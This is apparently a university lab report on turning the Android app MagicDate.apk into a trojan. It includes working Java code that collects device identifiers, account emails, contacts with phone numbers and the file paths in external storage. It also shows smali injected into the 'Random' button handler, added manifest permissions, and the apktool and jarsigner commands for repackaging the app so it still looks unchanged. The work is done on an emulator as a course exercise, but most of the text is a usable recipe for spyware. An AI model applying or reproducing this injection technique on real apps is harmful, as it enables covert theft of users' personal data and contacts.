

Report: -

In this lab, we need to inject malicious code into the MagicDate.apk in order to steal device information. This can be done by reverse engineering the apk and injecting smali code in the appropriate location.

There are two methods to accomplish this:

1. writing smali code directly in the MagicDate smali files in a function used by the random button, then rebuilding and signing the apk.
2. writing java/kotlin code in Android Studio to steal the information, creating an apk build, reverse engineering the apk with apktool, copying the malicious smali code, and pasting it in the correct location in the MagicDate smali files, then rebuilding and signing the apk. I used the second method for this exercise.

Code Implementation phase:

We created an Android Studio function using Java, named 'MalwareAttack', which obtains the following information from the device:

1. device hardware and software info (no permissions needed) like sdk version, build, OS version, android ID, display, cpu.....

```
String text= "Sdk version: " + sdkVersion + "\n"+"Device: "
+ android.os.Build.DEVICE + "\n" + "Model: " + android.os.Build.MODEL + "\n"
+ "Product: "+android.os.Build.PRODUCT + "\n"+"OS version: "
+android.os.Build.VERSION.RELEASE + "\nAndroid ID: "
+ Settings.Secure.getString(getContentResolver(),
Settings.Secure.ANDROID_ID)+"\nUser: " + Build.USER
+"\nBrand:"+Build.BRAND+"\nDisplay: "+Build.DISPLAY+"\nHardware: "
+ Build.HARDWARE+"\nBootloader: "+Build.BOOTLOADER+"\nID: "+Build.ID+"\nHost:"+Build.HOST
+"\nSerial:"+Build.SERIAL+"\nManufacturer:"+Build.MANUFACTURER+"\nFingerprint:"
+Build.FINGERPRINT+ "\nbuild date given in MS since unix epoch: "
+ Build.TIME+ "\nBoard: " +Build.BOARD

+"\nCPU ABI: " +Build.CPU_ABI
```

2. gmail accounts

```
Pattern gmailPattern = Patterns.EMAIL_ADDRESS;
Account[] accounts = AccountManager.get(this).getAccounts();

for (Account account : accounts) {
    if (gmailPattern.matcher(account.name).matches()) {
        text+="    Name: "+account.name+" Type: "+account.type+"\n";
    }
}
```

3. contacts names and phone numbers:

```

text+="Contacts:\n";
ContentResolver cr = getContentResolver();
Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,
    projection: null, selection: null, selectionArgs: null, sortOrder: null);

if ((cur != null ? cur.getCount() : 0) > 0) {
    while (cur != null && cur.moveToNext()) {
        String id = cur.getString(
            cur.getColumnIndex(ContactsContract.Contacts._ID));
        String name = cur.getString(cur.getColumnIndex(
            ContactsContract.Contacts.DISPLAY_NAME));

        if (cur.getInt(cur.getColumnIndex(
            ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0) {
            Cursor pCur = cr.query(
                ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                projection: null,
                selection: ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
                new String[]{id}, sortOrder: null);
            while (pCur.moveToNext()) {
                String phoneNo = pCur.getString(pCur.getColumnIndex(
                    ContactsContract.CommonDataKinds.Phone.NUMBER));
                text+="    Name: "+name+"    "+"Phone number: "+ phoneNo+"\n";
            }
            pCur.close();
        }
    }
}

if(cur!=null){
    cur.close();
}

```

4. file names and absolute paths in external storage(We implemented this by using a recursive function):

```

private void GetStoragePath(File dir, ArrayList<String> filepath) {
    File listFile[] = dir.listFiles();

    if (listFile != null) {
        for (int i = 0; i < listFile.length; i++) {

            if (listFile[i].isDirectory()) { // if its a directory need to get the files under that directory
                GetStoragePath(listFile[i], filepath);
            } else { // add path of files to your arraylist for later use

                //Do what ever u want
                filepath.add( "    File:"+listFile[i].getAbsolutePath());
            }
        }
    }
}

```

We saved all of the obtained information in a text file named 'information.txt' which is located in the application folder within the internal storage.

In order to acquire this information, We had to add three permissions to the manifest file.

```
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
```

Injecting the malicious code phase:

After writing and testing the code, We created an APK build and then used apktool to decompile the build and extract the smali code, which we then injected into the smali code of 'magicDate.smali'.

MagicDate.smali - Notepad

File Edit Format View Help

```
# virtual methods
.method MalwareAttack()V
    .locals 26

    .line 39
    move-object/from16 v1, p0

    const/4 v2, 0x0

    .line 41
    .local v2, "fos":Ljava/io/FileOutputStream;
    const/4 v3, 0x0

    .line 42
    .local v3, "email":Ljava/lang/String;
    const/4 v4, 0x0

    .line 43
    .local v4, "phone":Ljava/lang/String;
    const/4 v5, 0x0

    .line 50
    .local v5, "accountName":Ljava/lang/String;
    sget v6, Landroid/os/Build$VERSION;.>SDK_INT:I
```

After copying the malicious function to 'magicDate.smali', we modified the package name within the function to match the package name of the 'magicDate' app.

`Lcom/MagicDate/MagicDate;`

After that, the next step is to invoke the malicious function from the appropriate location, so that it is executed when a button such as 'random' is pressed. we searched through the file and found a method named 'GetRandom()', and we invoked the malicious function from within this method.

MagicDate.smali - Notepad

File Edit Format View Help

```
.method private getRandom()V
    .locals 8

    .prologue
    const/4 v7, 0x4

    const/4 v6, 0x2


    const/4 v5, 0x1

    const/4 v4, 0x3

    const/4 v3, 0x0

    .line 180
    invoke-virtual {p0}, Lcom/MagicDate/MagicDate;.>MalwareAttack()V
```

It is also necessary to add the necessary permissions to the manifest file of the 'magicDate' app.



```


AndroidManifest.xml - Notepad
File Edit Format View Help
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http:
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

<application android:icon="@drawable/icon" android:label="@string/app_name">
  <activity android:label="@string/app_name" android:name=".MagicDate" android:
    <intent-filter>
      <action android:name="android.intent.action.MAIN"/>
      <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
  </activity>
</application>
</manifest>

```

Repackaging phase:

After injecting the code, we used the command "apktool b magicDate" to repack the files.




```

\MagicDateApp>apktool b magicDate

```

After that, we used jarsigner with a keystore that we had created using keytool to sign the APK.



```

C:\Windows\System32\cmd.exe
C:\Users\ROG Strix\OneDrive - Ariel University\Desktop\Ariel University\000 B\00000 B\00000 00000 00000\MagicDateApp\magicDate\dist>
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore adnan.keystore magicDate.apk adnan
Enter Passphrase for keystore:
adding: META-INF/MANIFEST.MF
adding: META-INF/ADNAN.SF
adding: META-INF/ADNAN.RSA
signing: AndroidManifest.xml
signing: classes.dex
signing: res/drawable/background.png
signing: res/drawable/cloud.png
signing: res/drawable/icon.png
signing: res/drawable/ic_menu_help.png
signing: res/drawable/star.png
signing: res/layout/main.xml
signing: res/menu/menu.xml
signing: resources.arsc

>>> Signer
X.509, CN=AdnanAzem, OU=ASA, O=AdnanShadiAzem, L=Israel, ST=Israel, C=IL
[trusted certificate]

jar signed.


Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.

```


Now the APK should be able to be installed on an emulator without any issues.

Installing and running the app:


To install the app on the emulator, we need to open Android Studio and turn on the emulator. Then we can simply drag and drop the APK onto the emulator, and it will install automatically.



After opening the 'magicDate' app, upon clicking, a screen should appear asking for permission for the app to access certain data or resources.



After clicking "continue", the main screen of the original 'magicDate' app should be visible, without any changes or modifications.



When the "Random" button is pressed, the app creates a file called 'information.txt', which contains all the information stated in the previous steps. To view this file, the emulator needs to be opened in Android Studio, then the device file explorer can be opened to navigate to the internal storage where the file is saved.




Upon opening the device file explorer, a lot of files can be seen, these are the files stored on the device.

The path of information.txt is **data/data/com.MagicDate/files/information.txt**

▼	com.MagicDate	drwxr-x--x	2023-01-30 06:03	4 KB
>	cache	drwxrws--x	2023-01-30 06:03	4 KB
>	code_cache	drwxrws--x	2023-01-30 06:03	4 KB
▼	files	drwxrwx--x	2023-01-30 06:03	4 KB
	information.txt	-rw-rw----	2023-01-30 06:03	7.8 KB

This is what the file should appear as when it is opened.

A screenshot of an Android Studio interface. The top bar shows three tabs: 'MainActivity.java', 'information.txt', and 'AndroidManifest.xml'. Below the tabs, a blue header bar contains the text 'Visual layout of bidirectional text can depend on the base direction (View | Bidi Text Base Direction)' and three buttons: 'Choose direction', 'Hide notification', and 'Don't show again'. The main area is a dark-themed text editor displaying a log of system information. The log is numbered 1 through 19 on the left margin. The text in the log includes: 'Sdk version: 31', 'Device: emulator64_x86_64_arm64', 'Model: sdk_gphone64_x86_64', 'Product: sdk_gphone64_x86_64', 'OS version: 12', 'Android ID: 4e504c65266409cf', 'User: android-build', 'Brand:google', 'Display: sdk_gphone64_x86_64-userdebug 12 SE1A.220826.005 9309864 dev-keys', 'Hardware: ranchu', 'Bootloader: unknown', 'ID: SE1A.220826.005', 'Host:abfarm-release-2004-0047', 'Serial:unknown', 'Manufacturer:Google', 'Fingerprint:google/sdk_gphone64_x86_64/emulator64_x86_64_arm64:12/SE1A.220826.005/9309864:userdebug/dev-keys', 'build date given in MS since unix epoch: 1668800845000', 'Board: goldfish_x86_64', and 'CPU ABI: x86_64'. On the right side of the text editor, there is a vertical sidebar with a green checkmark icon, the number '154', and an upward arrow icon.

```
1 Sdk version: 31
2 Device: emulator64_x86_64_arm64
3 Model: sdk_gphone64_x86_64
4 Product: sdk_gphone64_x86_64
5 OS version: 12
6 Android ID: 4e504c65266409cf
7 User: android-build
8 Brand:google
9 Display: sdk_gphone64_x86_64-userdebug 12 SE1A.220826.005 9309864 dev-keys
10 Hardware: ranchu
11 Bootloader: unknown
12 ID: SE1A.220826.005
13 Host:abfarm-release-2004-0047
14 Serial:unknown
15 Manufacturer:Google
16 Fingerprint:google/sdk_gphone64_x86_64/emulator64_x86_64_arm64:12/SE1A.220826.005/9309864:userdebug/dev-keys
17 build date given in MS since unix epoch: 1668800845000
18 Board: goldfish_x86_64
19 CPU ABI: x86_64
```

To export the file and save it to a computer, follow these steps:

1. Right-click on the file and select "save as"
2. Choose a location on the computer and click "OK"

This process will also be explained in the accompanying video.